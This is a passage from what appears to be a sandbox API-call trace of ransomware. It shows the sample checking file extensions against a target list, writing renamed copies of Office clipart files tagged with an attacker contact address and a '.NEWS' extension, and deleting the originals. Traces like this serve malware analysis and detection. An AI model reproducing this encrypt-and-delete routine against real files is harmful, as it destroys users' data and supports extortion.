(lpString1=".bz2", lpString2=".BMP") returned 1 [0173.777] lstrlenW (lpString=".7z") returned 3 [0173.777] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.777] lstrlenW (lpString=".dbf") returned 4 [0173.777] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.777] lstrlenW (lpString=".1cd") returned 4 [0173.777] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.777] lstrlenW (lpString=".jpg") returned 4 [0173.777] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.777] lstrlenW (lpString=".doc") returned 4 [0173.777] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.777] lstrlenW (lpString=".docx") returned 5 [0173.777] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0173.777] lstrlenW (lpString=".pdf") returned 4 [0173.778] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString=".xls") returned 4 [0173.778] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString=".xlsx") returned 5 [0173.778] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0173.778] lstrlenW (lpString=".ppt") returned 4 [0173.778] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.778] lstrlenW (lpString=".zip") returned 4 [0173.778] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString=".rar") returned 4 [0173.778] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString=".bz2") returned 4 [0173.778] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString=".7z") returned 3 [0173.778] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.778] lstrlenW (lpString=".dbf") returned 4 [0173.778] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.778] lstrlenW (lpString=".1cd") returned 4 [0173.778] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0173.778] lstrlenW (lpString=".jpg") returned 4 [0173.778] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.778] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0173.778] lstrlenW (lpString="J0101866.BMP") returned 12 [0173.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0173.779] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=32184) returned 1 [0173.779] CloseHandle (hObject=0x4dc) returned 1 [0173.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0173.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0173.780] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.780] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0173.781] GetLastError () returned 0x0 [0173.781] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0173.784] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0173.785] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.785] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.785] SetEndOfFile (hFile=0x4f0) returned 1 [0173.785] CloseHandle (hObject=0x4f0) returned 1 [0173.785] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.786] SetEndOfFile (hFile=0x4dc) returned 1 [0173.789] CloseHandle (hObject=0x4dc) returned 1 [0173.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0173.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.791] lstrlenW (lpString=".doc") returned 4 [0173.791] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString=".docx") returned 5 [0173.791] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0173.791] lstrlenW (lpString=".pdf") returned 4 [0173.791] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString=".xls") returned 4 [0173.791] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString=".xlsx") returned 5 [0173.791] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0173.791] lstrlenW (lpString=".ppt") returned 4 [0173.791] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.791] lstrlenW (lpString=".zip") returned 4 [0173.791] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString=".rar") returned 4 [0173.791] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString=".bz2") returned 4 [0173.791] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString=".7z") returned 3 [0173.791] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.791] lstrlenW (lpString=".dbf") returned 4 [0173.791] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.792] lstrlenW (lpString=".1cd") returned 4 [0173.792] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.792] lstrlenW (lpString=".jpg") returned 4 [0173.792] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.792] lstrlenW (lpString=".doc") returned 4 [0173.792] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.792] lstrlenW (lpString=".docx") returned 5 [0173.792] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0173.792] lstrlenW (lpString=".pdf") returned 4 [0173.792] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.792] lstrlenW (lpString=".xls") returned 4 [0173.792] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.792] lstrlenW (lpString=".xlsx") returned 5 [0173.792] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0173.792] lstrlenW (lpString=".ppt") returned 4 [0173.793] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.793] lstrlenW (lpString=".zip") returned 4 [0173.793] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.793] lstrlenW (lpString=".rar") returned 4 [0173.793] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.793] lstrlenW (lpString=".bz2") returned 4 [0173.793] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.793] lstrlenW (lpString=".7z") returned 3 [0173.793] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.793] lstrlenW (lpString=".dbf") returned 4 [0173.793] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.793] lstrlenW (lpString=".1cd") returned 4 [0173.793] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0173.793] lstrlenW (lpString=".jpg") returned 4 [0173.793] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.793] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0173.793] lstrlenW (lpString="J0101867.BMP") returned 12 [0173.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0173.794] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=32616) returned 1 [0173.794] CloseHandle (hObject=0x4dc) returned 1 [0173.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0173.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0173.795] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.795] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0173.796] GetLastError () returned 0x0 [0173.796] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0173.963] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0173.964] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.964] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.965] SetEndOfFile (hFile=0x4f0) returned 1 [0173.971] CloseHandle (hObject=0x4f0) returned 1 [0173.985] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.985] SetEndOfFile (hFile=0x4dc) returned 1 [0174.004] CloseHandle (hObject=0x4dc) returned 1 [0174.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.005] lstrlenW (lpString=".doc") returned 4 [0174.005] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0174.005] lstrlenW (lpString=".docx") returned 5 [0174.005] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0174.005] lstrlenW (lpString=".pdf") returned 4 [0174.006] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".xls") returned 4 [0174.006] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".xlsx") returned 5 [0174.006] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0174.006] lstrlenW (lpString=".ppt") returned 4 [0174.006] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.006] lstrlenW (lpString=".zip") returned 4 [0174.006] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".rar") returned 4 [0174.006] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".bz2") returned 4 [0174.006] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".7z") returned 3 [0174.006] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.006] lstrlenW (lpString=".dbf") returned 4 [0174.006] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.006] lstrlenW (lpString=".1cd") returned 4 [0174.006] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.006] lstrlenW (lpString=".jpg") returned 4 [0174.006] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.006] lstrlenW (lpString=".doc") returned 4 [0174.006] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".docx") returned 5 [0174.006] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0174.006] lstrlenW (lpString=".pdf") returned 4 [0174.006] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0174.006] lstrlenW (lpString=".xls") returned 4 [0174.006] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0174.007] lstrlenW (lpString=".xlsx") returned 5 [0174.007] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0174.007] lstrlenW (lpString=".ppt") returned 4 [0174.007] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0174.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.007] lstrlenW (lpString=".zip") returned 4 [0174.007] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0174.007] lstrlenW (lpString=".rar") returned 4 [0174.007] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0174.007] lstrlenW (lpString=".bz2") returned 4 [0174.007] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0174.007] lstrlenW (lpString=".7z") returned 3 [0174.007] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0174.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.007] lstrlenW (lpString=".dbf") returned 4 [0174.007] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0174.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.007] lstrlenW (lpString=".1cd") returned 4 [0174.007] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0174.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0174.007] lstrlenW (lpString=".jpg") returned 4 [0174.007] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0174.007] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.007] lstrlenW (lpString="J0103058.WMF") returned 12 [0174.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.008] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17344) returned 1 [0174.008] CloseHandle (hObject=0x4dc) returned 1 [0174.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0174.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.009] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.009] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.010] GetLastError () returned 0x0 [0174.010] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0174.012] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0174.013] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.013] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.013] SetEndOfFile (hFile=0x4f0) returned 1 [0174.013] CloseHandle (hObject=0x4f0) returned 1 [0174.013] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.013] SetEndOfFile (hFile=0x4dc) returned 1 [0174.016] CloseHandle (hObject=0x4dc) returned 1 [0174.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0174.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.018] lstrlenW (lpString=".doc") returned 4 [0174.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString=".docx") returned 5 [0174.018] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.018] lstrlenW (lpString=".pdf") returned 4 [0174.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString=".xls") returned 4 [0174.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.018] lstrlenW (lpString=".xlsx") returned 5 [0174.018] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.018] lstrlenW (lpString=".ppt") returned 4 [0174.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.018] lstrlenW (lpString=".zip") returned 4 [0174.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.018] lstrlenW (lpString=".rar") returned 4 [0174.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString=".bz2") returned 4 [0174.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString=".7z") returned 3 [0174.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.018] lstrlenW (lpString=".dbf") returned 4 